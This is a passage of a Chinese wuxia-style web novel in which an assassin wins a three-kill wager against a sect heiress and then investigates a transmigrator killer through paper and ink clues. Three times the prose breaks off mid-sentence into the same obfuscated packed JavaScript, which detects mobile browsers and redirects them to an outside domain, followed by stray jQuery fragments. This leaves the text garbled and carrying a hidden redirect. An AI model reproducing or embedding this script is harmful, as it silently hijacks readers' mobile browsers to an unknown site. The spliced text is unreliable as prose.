敲钟的石块弹落下来,而夏秋桐似乎早有预觉一般,轻巧地撤到一边,石块刚好落回她的掌心。然后她朝欧若雅竖起一根手指:“这是第一次。”
“什么?”欧若雅持刀护胸,还在戒备着夏秋桐会趁她这一时懈软出手,就听到夏秋桐这莫名其妙的一句获胜宣言。
围观的绣春堂门人更是集体嘘声,欧钰摸着胡子高声嚷嚷着:“小丫头!玩不起就认输!别在这里玩赖啊!”
“还没明白吗?”夏秋桐晃了晃握着石头的手,“如果我刚才用的不是石子,而是飞刀,打的不是钟身,而是悬钟的铁链,你现在会是怎么样呢我的大小姐?”
绣春堂为了纪念先辈发扬先人风骨所铸的晓晨钟,用来作为钟舌的是一把削铁如泥的宝剑。
“你是故意把我引到钟下的?”欧若雅的脸色登时煞白,连忙几步退到钟外,但她还是辩驳道:“可我们堂晓晨钟用的绳链是由千万条铁线集束而成,刀枪不坏,你用飞刀又怎么能切的开?”
“你们绑钟的线束确实结实,但衔接钟与线的卡扣呢?这钟悬了多少年了?你们日日都要击钟鸣时,都未曾发觉它已经腐锈,就要松脱了嘛?”夏秋桐反问道。
欧若雅抬头望了眼黝黑高悬的钟筒,她作为绣春堂的大小姐自然是知道这悬钟的接面用的是钉牢的铁卡。可这古钟高悬,连敲钟都要用特制的长柄铜槌才能勾到,无论从哪个角度都是望不见铁扣的,那这夏姑娘又是怎么知道的?
“平衡。”似乎是看出了欧若雅的疑惑,夏秋桐淡淡地说,“钟身朝东倾斜,说明至少有一个钉扣已经松脱,以你们撞钟的力道,最多三年它就会掉下。”
欧若雅半眯起眼,认真盯着那晓晨钟,才看出钟身确实是有一线的倾斜。但这东斜的倾角实在微小,她盯了好一会才确定。可夏秋桐却能在那么短的时间里就看出问题,这得是多可怕的眼力!
“多谢姑娘,若非姑娘今日指出,日后怕是要酿成大祸了。”想到这,欧若雅双手抱刀对夏秋桐施了一礼,坦然道,“那若雅这第一条命,就交予夏姑娘了。”
“等等!”无视女儿责怪的视线,欧钰冷声道,“小丫头你眼力确实好,能用身法将我女儿诱到钟下也是好本事!但这毕竟是作赌,自当要更严谨一些。你虽然看出了钟扣有缺,但你也看到了,铜位高悬遮蔽了顶端,你无论怎么出手都是没法准确击中铁扣的。”
“那如果,我先将暗器掷于钟身,然后让它被反震上房梁,最后被房梁弹到钟顶呢?”
“哈哈哈哈,小丫头你是没睡醒吧,这怎么可能呢,哈哈哈……”欧钰轻蔑狂傲的笑容很快凝固在了脸上,因为夏秋桐猝然击出手中的石块。
那石块先是被高抛着击中钟身,然后被荡鸣的铜钟震上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447680|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堂顶的木梁,最后狠狠砸在了钟顶。
钟声重荡间,那晓晨钟蓦得剧烈晃动,在众人惊声高喊中摇摇倾倒!
不过好在那鼎巨钟只歪到了一半就被还未松脱的卡链扯住,没有直接砸到地上。
“工匠呢??赶紧给我把怀阳最好的工匠请来!”欧钰心有余悸,扭头对着身旁的弟子大吼。
所有人都被夏秋桐方才这突如其来的一手震吓到,包括沈狸双。但令他惊讶的不是夏秋桐能精准计算石头的弹射,这虽然很神乎其技但他早已在她丢骰子的时候就见识过的。
他惊讶的是,要让石块经过多次碰撞还有足够砸碎卡扣的力量的话,是需要注入内力的。
她哪来的内力?!
“我可以继续了吗。”夏秋桐望向欧若雅。
“夏姑娘,在开始之前我有个请求。”想到夏秋桐刚才那匪夷所思的暗器手法,欧若雅觉得脖子有些冷,“既然比试的是暗杀,那我是不是可以让其他人来保护我,这样也更符合实情吧。”
“确实。”夏秋桐点点头,“你随便挑。”
“多谢。”欧若雅迅速点了一批弟子围在自己身边,而她那位体格粗壮肌肉盘虬的父亲欧钰则正立在她身前,虎视眈眈地盯着夏秋桐。
欧若雅屏息凝神,持刀护在心口,目光盯着夏秋桐手上的动作,防止她掷出暗器。
夏秋桐神色自若,尾指轻轻一勾。
什么东西?欧若雅只看清她指尖拖着着东西闪过一道线光,还未等她看个究竟就听身后哎哟一声,然后什么就这么撞上了她的后心!
跌倒的是方才那个引路的绣春堂弟子,她被不知何时缠在脚上的透明丝线一下绊倒,怀中的匕首就这么直愣愣扎上欧若雅。好在那匕首不知何故应声而碎。
“小鱼,你??”欧若雅看着那个女弟子,一脸的不可思议。那个被叫做小鱼的少女显然也吓傻了,望着地上匕首的碎片,声音带着哭腔:“大,大小姐,我没有……”
“这匕首是我放在她身上的,线也是我事先缠好的。”夏秋桐一勾手指,送去一道真气,将冰蚕丝从小鱼的脚腕上抽回,“那匕首我事先做了手脚,只要碰到硬物就会自己崩断,所以不必担心…”
“不过,倘若这是把真刀的话,”她说着伸出第二根手指来:“那这就是第二次了。”
欧若雅面色发青,油生出难以言喻的恐惧与恶寒。她想了想,将围着的人全都驱散,然后退到里堂边沿,将后背贴紧在墙壁上。
而角落里,沈狸双还沉浸在对夏秋桐上一杀的惊讶当中。他完全没想到先前夏秋桐让他往匕首里注入真气是为了这第二次谋杀,这说明她在还没进入绣春堂之前就已然谋算布局,预知了这一步!
但欧若雅显然也并非没有头脑不知变通的莽夫。她选择背靠墙面,这样就可以不用担心看不见的冷箭暗器,或是预先设置的埋伏,可以逼迫夏秋桐与自己正面作战。
所以你要怎么完成这第三杀呢,灾厄?
沈狸双紧张又期待地看着夏秋桐一步一步朝欧若雅逼近,然后在某一个瞬间,他忽然发现自己丢失了夏秋桐的背影。就像一个恍惚错过了一道风的流逝。
意识到这一点后,沈狸双露出了然的笑容。
「不可觉察之人」。
“其实我忘了告诉你,在杀手里,我的轻功还算不错。”下一个瞬间夏秋桐出现在欧若雅身前,她凝望着这位大小姐怔愕的眼睛,手上的长剑贴着她的脖颈抵着墙面,“这是第三次。”
欧若雅面色颓然,手中的长刀咚得落在地上。
【妄想剧本,「Triple Kill」完成叙述。】
17.钿墨纸香
夏秋桐用「不可觉察之人」敛去了声息,从消失到出现只有了半个呼吸不到。所以除了沈狸双,所有人都以为她的身法翕忽鬼魅,快得让人捉及不到。
欧若雅咽了咽唾沫,心里暗恼自己先前以貌取人,还大言不惭地要这鸳鸯双侠一齐攻上速战速决。
就以夏姑娘这般疾电身手,怕是她还没抬刀就会被削去兵器,狼狈求饶。
虽然现在也很狼狈就是了。
夏秋桐收回剑,后退了几步,摊开手:“欧姑娘,那这场赌约……”
“自然是夏姑娘你胜了。”欧若雅愿赌服输,拾起地上的佩刀,扭头对门人下令道,“你们几个去将堂门口聚集着的那些人都散了,就说已找到了合适的堂客人选,武招至此而止。”
然后她看向先前几个被选中的江湖客,郑重一鞠,歉声道,“各位也看见了,实在是若雅技不如人,绣春堂没法再留各位。但各位此番辛苦,绣春堂会付予每位二十两作为报酬。”
原本那群人莫名其妙丢了工作都或多或少心怀怨言。但见欧若雅态度恳切,且还愿意支补酬劳,相当于啥也不做干就赚得了二十两,那还有不愿意的道理?于是就着跟欧钰和欧若雅暄谈几句后就美滋滋地领赏走人了。
“事关吾女性命,还望二位侠士借一步说话。”欧钰走上前来,令退了还待在堂里的其他人,只余下了他们父女二人和夏秋桐他们这一对「鸳鸯双侠」。
他说话时望着夏秋桐的脸,眼底藏着一丝忌惮,全然没有方才那般豪迈洒然的模样。
无论是弹石折钟、预藏刀匕,还是最后那快到以他的眼力都没有看清的欺身一剑。眼前这位容姿昳丽气质清冷的姑娘远比她看上去的要强大,可他绞尽脑汁也想不出江湖上何时冒出了这么一号新奇人物。
“还恕老夫多嘴,老夫行走江湖也算有些年头,但从未听过鸳鸯双侠的名号…不知二位金盆洗手之前所承何处?又为何会来我绣春堂?”欧钰沉声道,“以二位的本事,总不至于和外头那些滥竽充数的绿林客一样,是奔着这百两赏银来的吧。”
还真有一部分原因是这个……沈狸双不无尴尬地心道。但面上仍是光风霁月从容有度:“ 欧大师可曾听说过堕月楼?”
“堕月楼?”欧钰声音一滞,“二位居然是堕月楼的杀手,可据老夫说知,堕月楼五年前就已被大燕下兵荡平。”
“所以我们现在在这里做事。”沈狸双摸出一块黑铁令牌,在欧钰面前晃了下,然后迅速折收进袖里。后者登时双眼圆瞪脸色煞白,颤不成声:“青…青……”
“嘘。”沈狸双做了个噤声的手势,神秘道,“现在你懂了吗?”
欧钰点点头,心下对沈狸双二人的猜疑忌惮烟消云散。他先前缘由这鸳鸯双侠身份神秘,所以一时生疑,甚至以为这二人或许就是那留函索命的凶手,乔装打扮混入堂中伺机出手。
但若这二人现在在那处地方办事…那就无需再怀疑了,毕竟那可是整个大燕最强大最令人闻风丧胆的——青龙骑啊。
“我们夫妻二人被那位收编为暗侍,具体事由不便相告,你只需知道我们现在正奉命追查那所谓的丧鬼。”沈狸双低声道。
“欧钰明白。两位大人,且随老夫来吧。”说完欧钰做了个请的手势,拉着还在状况外的欧若雅在前头领路。方才沈狸双展示令牌的时候只在欧钰眼前,欧若雅并未看清。只看到沈狸双给出示了什么东西,自己那位威风凛凛狂傲不驯的父亲一下子变得谦卑有礼起来。
欧钰带着他们来到里堂巨大的屏风后,那里嵌着一排武器架子。欧钰数着三面的兵器,分别拿下了两把短刀和一把长剑,又把兵器架沿上用作装饰的小小石狮拧了半个圈。
而后就听极轻的咔嚓一声,屏风后的地面打开了一个通道。
怎么一个二个的都这么喜欢在地下开洞?夏秋桐不由心想。
“两位小心脚下。”欧钰擦亮了一张火折子,边走边介绍道,“这是老夫二十年前邀公输家的老友所铸的暗室,本意是为了有个藏身之处以防不时之需,毕竟做的是江湖买卖指不定就惹上什么仇家了……可没想到会是现在派上用场。”
暗道的尽头是一间相当宽敞的暗室,上下左右全都用铁水浇铸,只留了几个小口透风。
整个房间被布置成了卧房,床铺桌椅灯具书柜恭桶一应俱全,唯一的差别就是床边堆着好几箱的吃食,且都是如馕饼肉干这类经得住久放的干粮。
“这里曾经有通道吗?为什么堵上了。”夏秋桐第一眼就发现了有一面墙上的铁皮颜色深浅与其他的墙面不同。
“这里曾经确实是一处暗道,联通着城外的泉合林。”欧钰借着火点亮了烛台,然后扇灭了火折子,“但后来出了些事……老夫就令人堵上了这暗道,将出口封死了。”
他说这句话时候神色如常,但夏秋桐还是瞄见他倒映着火光摇曳的眼眸里流过的一丝哀伤。
“老夫的预想是,这几日让雅儿与二位侠士一并住在这里。知道这处暗室的只有我们父女二人,而老夫会亲自把手堂口,不让任何人靠近。”欧钰握紧拳头,神色肃穆的像是握住了一把指前的战刀。
“不妥。一来这暗室封闭,一旦堂口失陷或是用毒用火来攻,里面的人纵有十八武艺都逃无可逃。二来…”沈狸双凝视着欧钰,肃声道,“只要这杀手一日不除,那索命的丧鬼就一直会在,他失手了这一次,那下一次呢?你要让欧姑娘一直活在这里吗?”
作为提刑官,沈狸双太清楚穿越者们的任务模式了,当一个任务失败时,谋杀者系统会将其重新抽调投放入据穿越者所言为「公共任务池」的地方,并添注悬赏供其余穿越者们接取。所以只要谋杀者系统不绝,等待受害者的只会是无穷无尽的追杀。
除此之外他也并不觉得仅靠欧钰做的这么一间地下暗室就能阻拦神出鬼没的穿越者。
“那…那该如何是好。”欧钰喃声道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456813|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脸色灰败。
欧若雅也是暗暗拧咬住樱唇,虽然脊背依旧挺得笔直,但能看出来她也不过是在强撑精神。
“你放心,我们会将这只丧鬼绳之以法,但前提是我们需要足够多的线索。”夏秋桐开口道,“丧鬼发的那封墨函在哪,我想看看。”
“老夫一直都带在身上。”欧钰忙从怀里摸出一张折起的函件,双手递予夏秋桐,“那夜若雅正在书房夜读,就发现这封信函压在她刀下,可却并未看到留函之人。”
“九月十七子时月,丧鬼怀抱喜相迎。”夏秋桐念着信函上的文字,指尖捏着页角唯一摩挲。
“有看出什么吗?”沈狸双问。
“杀手惯用左手…字写得真丑。”夏秋桐毫不留情道,沈狸双凑过脑袋点头赞同。那墨字笔顺僵硬,连锋呆板,一看就是从哪本书里抄摹下来的,还抄得极丑。
不过这也难怪,这个世界所用字形与穿越者们所在的年代有极大的差异,所以那群穿越者在这个世界基本上都是文盲。
“纸用的应当是南淮纸坊的,有特殊的粗粝感和竹叶纤维。字全是临摹的,但是临摹的字形用的楚云造业的印版。”结合脑海里原主的记忆夏秋桐迅速判断道,“南淮纸坊就在隔壁清水镇,可楚云造业却远在楚襄国,这两个是怎么统合在一起的……”
这个世界交通不便,出行全靠马匹,所以不同地方的造物都有着各自的特征且基本也只在当地范围内销售。
比如南淮纸坊的纸用的是当地盛产的青竹,手感外观都有特点;而楚云造业雕刻的印刷刻板则由于楚襄国普遍的写字习惯,所以字体会比云樾国的瘦长许多,就像墨函上的文字一样。
“可能他从哪搞到一本楚云造业印制的书册随身带着吧。”沈狸双猜测道。
“还有这个。”夏秋桐将那封函件的墨字凑到鼻尖轻轻一嗅,蹙了下眉头,发现那墨迹上的幽香没有和原主记忆里的任何味道吻合。便递给了沈狸双,“我不熟悉墨的品类。你闻闻看,应该能闻到两种味道。”
“一种是云樾国南方常见的钿水墨…另一种却不似墨味…有些甜还有些许腥气……”沈狸双接过那张纸凑近到鼻尖,闻到一股极淡的香味,仔细辨别确实如夏秋桐所言是两股味道掺缠在一起。但他只能认出其中一道香气的归属。
“无妨,有现在这些线索已经可以做很多事了。”夏秋桐道,“怀阳城有几家纸铺售卖南淮纸坊的纸?”
欧若雅回忆道:“只有东街的李记文铺有卖,但这几天刚好迎逢庙会,所以东街的铺子都要等晚上才会开门营业。”
“那我们今晚分兵二路。”夏秋桐盘算道,“今晚也是丧鬼在欧姑娘身上落字的时候,我们夫妻二人去李记文铺寻找线索,欧大师,你护着欧姑娘待在这暗室里。看他今晚会不会来,又是怎么来的。”
欧钰点点头怒目圆睁,双拳拧起发出格拉拉的骨响,“那丧鬼若敢来,老夫定叫他有来无回!”
18.一直都在
“你知不知道你忽然来这么一出,险些要把我吓死。明明按照正常的流程进行下去,我们也还是能够接触到案件的。”直到走出了绣春堂暗房,坐进欧钰替他们安排的客室后,沈狸双才有些后怕地开口,“而且你是什么时候学会武功的?我在治愈你的时候曾经探测过你的这具身体,武学资质可谓差的很。”
“首先,我们现在要的不能只是接触,而应该是全权主手这次的案件,拥有绝对的导向权。”夏秋桐替自己和沈狸双分别沏了一杯茶,淡然道,“毕竟我们要面对的敌人是那些有着神秘能力的穿越者而并不是这个世界观下的所谓杀手,所以我们的每一步都必须要抢到最好,介入自己最大的力量,提高效率。其次,武功什么的这不重要,你就当我穿越过来后直接打通了这具身体的任督二脉吧。”
“行。”沈狸双点点头,按捺下想当场拿出生命的禁令给夏秋桐做个全身检查的冲动。
不过他也不得不承认,虽然夏秋桐这一番行为很是离经叛道,但确实效果非凡。她不只用最短的时间成功拉高了自己的身份和价值,将案件的主导权与话语权据为己有。还将其他全部的无关人士直接拉下马,排除了可能有穿越者在其中浑水摸鱼的风险。
“不过你下次要是还想做些什么,还是记得提前跟我打个招呼,让我有个心理准备不至于被你吓得一跳一跳的,而且也能更好跟你照应。”沈狸双咽了口茶,想到自己先前过山车一般的心路历程,忍不住抱怨道。
“你那个时候给欧钰看的是什么?”夏秋桐没有搭理他,而是问道,“他看了之后为何是那种反应?”
“哦,你说这个。”沈狸双摸出了那枚黑铁令牌往桌上一拍。黝黑森亮的方形令牌上用凌厉干劲的线条雕刻着一只简单但充满苍虬萧杀之气的盘身蛟龙,“这是大燕青龙骑的兵牌青龙令,你知道青龙骑吗?是大燕最凶名远扬的一支骑军。而他们的领袖,那位大燕朝的一品威武大将军就是你在云上集会上见到的青龙。”
夏秋桐点点头。她在原主的记忆里找到了关于这支军队的资料,或者说除却不通人言的稚子,天下间应当无人不知这支被誉为大燕真正的天子之锋的传奇骑兵。
据说在大燕还是燕国时,就是凭借着这支无往不利的精锐队伍在短短数月间荡平了当时分立相争的七国有三,将无数的财富和土地收入囊中。甚至还创下了在十天内势如破竹般连穿了十五座城池的骇人战绩。
对于经历过那个乱战时代的人们来说,那青色的旗帜无疑于无常割命的魂幡。也难怪欧钰一见那青龙牌就跟见了鬼一样。
“你有这样的身份怎么不早拿出来用?一开始就报上青龙骑的名号绣春堂得双手递着案子交给我们查。”夏秋桐责怪道。
“咳咳。”沈狸双有些尴尬地咳嗽了两声,一时不知道当讲不当讲。
夏秋桐瞧了眼他的神色,立即就有了判断:“这青龙令是假的。”
“哎哟。”沈狸双别过脸,心道怎么忘了这家伙还有这么个察言观色堪比读心术的本事。只能无奈的坦白道,“是,这青龙令是我上次跟青龙一并出任务时偷着仿来的,所以经不得细查。”
正统的青龙令用的是大燕秘产的云瑙玄铁。这种铁矿初见浑色漆黑,但若是在阳光照耀下却能折现出如绯云般缤纷流潋的光彩,这是所有人都知道事。而沈狸双这块所用的不过是寻常的黑铁,所以也只敢在欧钰面前一晃而过,就怕他借着天光发现了异常。
不过欧钰应该也不会想到,这个天下还有人敢冒顶青龙骑的名讳吧。
“你记得要给我保密,如果让青龙知道了我私用青龙骑的名义,她怕是会直接带着她那把偃月刀从大燕王都杀过来。”沈狸双耸了耸肩,虽是这样说着但语气相当泰然,显然并不是特别担心。
“李记文铺跟随庙会的时间,晚上戊时也就是七点才会开门。”沈狸双两口喝完了茶,站起身来,“你方才查预告函提醒到我了,应当还得去趟官府,将前两案的预告函拿来对比一下。而且我刚好还有些别的事情要做……”
他看了一眼夏秋桐,“今晚绣春堂会安排马车送我们去东街,你就先在这里等我吧,到时候我们一同过去。”
夏秋桐点点头,目送沈狸双离开了房间。见时候还早,她想了想,推开门逮住了一个路过的绣春堂弟子。
那弟子冷不丁地被人拽住衣角正要唾声发恼,却见是夏秋桐这位堂主重点要照顾的贵客,忙收起飞扬起来的眉毛堆出春风一般的笑容,客客气气地朝夏秋桐鞠了个躬:“夏姑娘好。”
“有劳这位兄弟领我去一趟书房,就是最早发现了预告函件的地方。”夏秋桐回了一礼。
虽然离穿越者发函已经过了一段时间,但作为第一现场或许自己还能在那里找到一些被遗漏的线索。
……
“这就是后书房了夏姑娘,除了日常扫洗书房的弟子,就只有堂主和大小姐可以进去,我就在门口候着您吧。”那弟子带着夏秋桐到书房门口,恭敬地道。
“没事,你去忙你的吧,多谢。”夏秋桐道了声谢,然后推门而入。书房的房门是虚掩着的。里面立着好几排书架,临窗的位置摆着一套成色颇为老旧的红木桌椅,窗外斜照暖白的日光打进来,落在桌面上一张墨迹未干的书贴上。
夏秋桐的目光在这处书房里扫视,试图发现一些穿越者留下来的蛛丝马迹。这时有人推门进来,她偏过头看到了欧若雅。
“夏姑娘?”她依旧是午时的那身打扮,腰配着那把钢铁长刀,似乎对夏秋桐出现在这里并不觉得意外。她径直走到桌前,提笔接着墨砚凌了凌笔锋,继续完成那张未尽的字。
“欧姑娘喜欢练字吗?”夏秋桐走到欧若雅身边,看着她捏着毛笔稳稳地落下了一痕。
“我的书法是娘亲教导的。”欧若雅看着桌上的字帖,眸光沉遂似乎看到了过往,“小时候我性格顽劣,跟爹学了两年刀法就自大得寻不着北,天天闹着人滋惹是非。而那时娘亲总跟我说练字其实也是练刀,她说我心躁不稳急功近利,所以更要寻一件能敛住躁气的慢事来让心好好沉静下来,这样刀也才会握得扎实。但我那时不懂,不愿练字,所以总于她吵闹……”
她提笔的手微微发颤,语气也隐约低涩了起来。那最后的一笔斟酌良久终究没有落下:“夏姑娘,其实我好恨,好恨我现在才知道她的用心良苦。”
欧若雅轻叹一声,将笔摆回玉架上。夏秋桐虽然没有办法共情,但也知道她现在正沉浸于悲伤的情绪里,于是没有说话,而是继续默默用目光索骥。毕竟她现在唯一能提欧若雅做的,就是抓住那个要杀了她的穿越者。
忽然,她的眸光凝在了欧若雅的那副未完成的字上,集中精神鼻尖微微一动,那字上的味道立刻就像贴鼻拂面般变得浓郁清晰起来。随后她迅速将桌上其他写好的字轴一一抄起凑到鼻子前辩闻,紧接着又去翻看墙上悬挂着的那些的文贴画幅。
欧若雅不知夏秋桐为何突然作出这般古怪反应,不解道,“怎么了夏姑娘?”
夏秋桐转过头,表情严肃:“欧姑娘,你家这墨是从哪里买的?”
……
傍晚时分,沈狸双跟夏秋桐相对着坐进了马车里,一同朝东街驶去。
“所以你的意思是,他们家的墨被人换了?”沈狸双听到夏秋桐白日的调查结果,剑眉一凝,
“准确的说应该是被人掺了东西。”夏秋桐说,”绣春堂买的都是怀阳城当地最常见的文墨,我也检查过那些新买来的墨块了,都没有问题。唯独那墨砚上已经化好的墨水带有跟预告函上的墨字一样的香气。而且除开欧姑娘写的那几张字,凶手还将墨故意点在地上、画上、坐垫上、架子上的书上等多处地方。“
夏秋桐说着将一块涂了一层墨黑的纸片递给沈狸双:“这是我之前留的样,你闻闻看。”
文墨本来的味道远大于先前穿越者预告函上所用的钿水墨,所以沈狸双花了更久的时间,才从那浓郁的墨味下辨闻出那一缕熟悉的甜淡腥香。
“这到底是什么东西?毒药吗?”沈狸双皱着眉头猜测道,“这次这个穿越者的能力是制毒?”结合先前王勉那无声无息的暴毙很难不让人联想到是某种隐蔽的下毒方式。
“应当不是,我喝了一口,现在身体机能没有任何问题。”夏秋桐语出惊人。
沈狸双:???
“不是,”他低声惊道,“你不要命了?这要是毒药的话你现在还有命活吗?”
“你不是有【生命的禁令】吗?再重的伤势都能复原。”
“那你也得有命活到我回来啊!”沈狸双呵斥道,“而且生命的禁令也不是万能的,它在治疗外伤上效果很好,可以活皮肉生白骨。但是在解毒上就有些乏力了,有许多毒是它没有办法解除的,需要用到另一项禁物。而且它能也只能治疗前后不超过两个时辰的伤势,对已经死亡的个体无效。”
“不用担心,我不是傻子,自然是有准备才这么做的。”夏秋桐见沈狸双是真的气急眼了,便解释道,“我的身体情况比较特殊,你可以理解为我可以自滤与代谢掉绝大多数的毒药,而且我对我身体的内部状态了如指掌。它对身体有没有负面效果,有哪方面的负面效果我尝一口就能知道。”
这自然不是夏秋桐为了安抚沈狸双瞎说的,在吸收了两枚心核后,炼化的谋杀者系统也为她提供了格外的算力容量,可以允许她将更多的意识体下沉,对身体的掌控能力也得到了进一步提高。
比如现在她就可以控制着用分泌液完全包裹住渗入身体的物质让它不会扩散,最后完全无害地排出身体;也可以让物质试探性地与体内环境接触反应,记录身体变化数据,最后再将物质析出,从而检测物质对身体的妨碍程度。堪称可循环利用且数据准确的超级小白鼠。
所以夏秋桐才会选择在明知道墨水里的物质有27%的可能性是毒药后还义无反顾地将它喝下去,因为最差的情况就是它真的是一种见血封喉的猛毒且会与身体内环境发生剧烈发应。但由于一开始就是选择性小面积接触,不会让它流窜,所以即使它真的是毒药夏秋桐也只需要将那一小块病变的地方剥离切割,最后再让沈狸双用禁物恢复伤势即可。
“我知道……你总会有办法的。”沈狸双深深望了夏秋桐一眼,有些责备道,“但我还是不希望你拿自己的性命去冒险,有很多可以得到结果的方法,你没必要总是选择最快但是却最危险的那一条。”
“我只是在遵循我的理智,解题需要的是速度还有正确的方法,而不是瞻前顾后优柔寡断。”夏秋桐的眸里闪过难以捕捉的绯红,语气冷漠,让沈狸双一时怀疑自己面对的到底是一个真人,还是穿越者记忆里那些永恒冰冷的机械,“你换一个角度就能知道,如果那墨水真的是什么猛毒,那欧若雅若是有用嘴润笔的习惯,那不是当场就会死?”
沈狸双嘴唇蠕动,想说些什么却还是没有张口,因为他不得不承认夏秋桐说得很对。
“不过有一点我倒是很奇怪,为什么穿越者一定要做出花里胡哨的没用功夫,还得挑特定的时间才能动手?”夏秋桐问道,“难不成他们杀人还得选个良辰吉日?”
“根据穿越者的口供,他们有一个东西叫作定妆。”沈狸双想了想,解释道,“简单来说,谋杀者系统会也只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464220|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会在祂设置好的时间点结算任务,就像给案件定照存档一样。而且谋杀者系统每次发布的谋杀任务都会带点稀奇古怪的元素,可能是布置场景、也可能是踩点杀人等等,总之不会是简单的一刀斩。这也是为什么我们不认为谋杀者系统是无意识的自毁程序的原因之一,因为祂的任务安排有极为强烈的主观风格,怪诞但又不失逻辑与可行性。”
“这么做的意义是什么?”夏秋桐忍不住猜想。如果谋杀者系统跟自己一样也是某种数据的集合体,那么它为什么会违背效率至上的原则,选择用这种层层限制天马行空的表现方式进行杀戮?它明明可以要求穿越者直接杀人,凭借它赋予的那些异能力,穿越者们完全可以在提刑司还未响应的情况下进行大规模的屠杀,直接在短时间内将这个世界变成人间炼狱。
可它不这么做的原因是什么?是有什么限制了它?还是说它实际的目的并不是,或者并不仅仅只是谋杀?
“不管怎样,归功于祂的‘多此一举’,我们才有喘息的时间,可以做出应对。”沈狸双看着夏秋桐,语气带着些许不悦的嘲讽意味,“幸好祂不像你一样,那样的追求效率。”
“多谢夸奖。”夏秋桐仿佛没有听出沈狸双的暗讽,准确的说她听出来了,但完全没有想要回应。除开介绍和有关案件的讨论,沈狸双其他的话包括他那不算很稳定的情绪在她这里都是垃圾讯息,放到过去就是会直接被防御系统拦截塞入回收站的那种。
车厢里一时陷入了沉默。
“但其实也快了,最近这段时间穿越者活跃了许多,相关案件数量同比去年上升了近30%。”沈狸双撩开车帘,望向窗外。天色已晚,庙会的灯串已经点起,被不同旋转着的笼画切割,温暖斑彩的碎光落在他的脸上,将他锋利的侧脸轮廓打得通红,“像这样的热闹祥和,还能够维持多久呢?”
夏秋桐望着他好看的侧脸,看着他带着些许落寞的眼眸,想了想道:“会一直在的。”
似乎是想不到夏秋桐这冰块一般的人物会回应自己的伤春悲秋,沈狸双倏然转过头,眨了眨眼睛,忽然生出使坏的念头,故作疑惑道:“我没听清。”
“会一直在的。”夏秋桐依然是那副认真淡然的模样,重复道,“这个世界,你,还有我。一直都会在。”
“你…你知道你在说什么吗?”明明是自己先开的话头,但沈狸双却反倒红了耳根,拧过头像是被呛到似的咳嗽起来,然后咳着咳着就笑出了声,“你呀……有时候还算有趣。”
他似乎真的放松下来,施施然卧靠在了车厢里的角落。窗外小贩们的吆喝声不绝于耳,他嗅到了那些食摊上飘来的各种香气,觉得独自隐隐叫唤起来,“待会调查完回去我们去喝甜汤吧。用米浆熬的,甜甜暖暖,多加些花生和糖饴,最适合秋天的晚上了。”
“我不饿。”夏秋桐本能地拒绝。
“就当是陪我一次吧。我也好久没喝了。”沈狸双睫尖一颤,似乎是想到了什么,但很快就调整好神色,露出揶揄的笑容,“而且不是我说,你平时冷的就像云瑙玄铁,也就今早吃东西的时候还算有点人的活气。”
夏秋桐闻言了想到了晨间的那碗面,微微一怔。
这时车轮渐缓,车厢摇颤,前头一声马匹轻快的嘶鸣。李记文铺到了。
坐柜的是个圆脸白皮一身书生打扮的青年,似乎刚开店没多久,正拿着个鸡毛掸子蹭扫柜台边的余灰。见夏秋桐俩人走进,忙隔着柜台清亮地喊了一声:“两位要买什么啊?”
“不买东西,怀阳官府办事,有些话要问你。”沈狸双摸出官府衙牌,跟夏秋桐走到柜台前,“这一个月内,有谁在你这里买过南淮纸坊的竹纹宣纸?”
他下午去官府取来了前面两起案件的预告函,发现墨水是一样的墨水,但两张函件所用的纸却都不同,且都不是怀阳城附近可以买到的。那按案发时间来算,凶手如若是在怀阳城购入的竹纹宣纸,那购买时间应该不会超过一个月。
“纸?小的这里进的最多的就是南淮纸坊的竹纹宣纸了,这个月来买它的客人上说有上百个嘞。”
“有存记买卖的单子吗?拿出来看看。”沈狸双道,“会来你这里买的应该大多是熟客吧,你回忆回忆有没有生面孔,而且购纸数目不多的?”
“而且应该是男性,大概有掌柜的你这么高,头发齐腰的长度。”夏秋桐在一旁补充道。
沈狸双疑惑地望向她,她解释道,“我说过他有把墨点在架子上的书封处,有几本书的高度偏高,测算下来取书的人大概身高得是在一米八朝上。然后我还在架子底找到了一根头发,不属于欧堂主父女,而他们负责每日扫洗的弟子干活时都会包发,所以只可能是凶手留下的。”
“存单自然是有的,两位大人且看。”青年掌柜从柜里取出一本账册,左手翻着将它摊开,“一般都是买五卷以上的,因为会划算一些。最少的买了一卷,大概有十几个人左右,其中有五个都是小的第一次见的生面孔。”
然后他认真想了想,迟疑道,“但是日隔久远,您要小的现在回忆他们是如何样貌,怕是有些困难。”
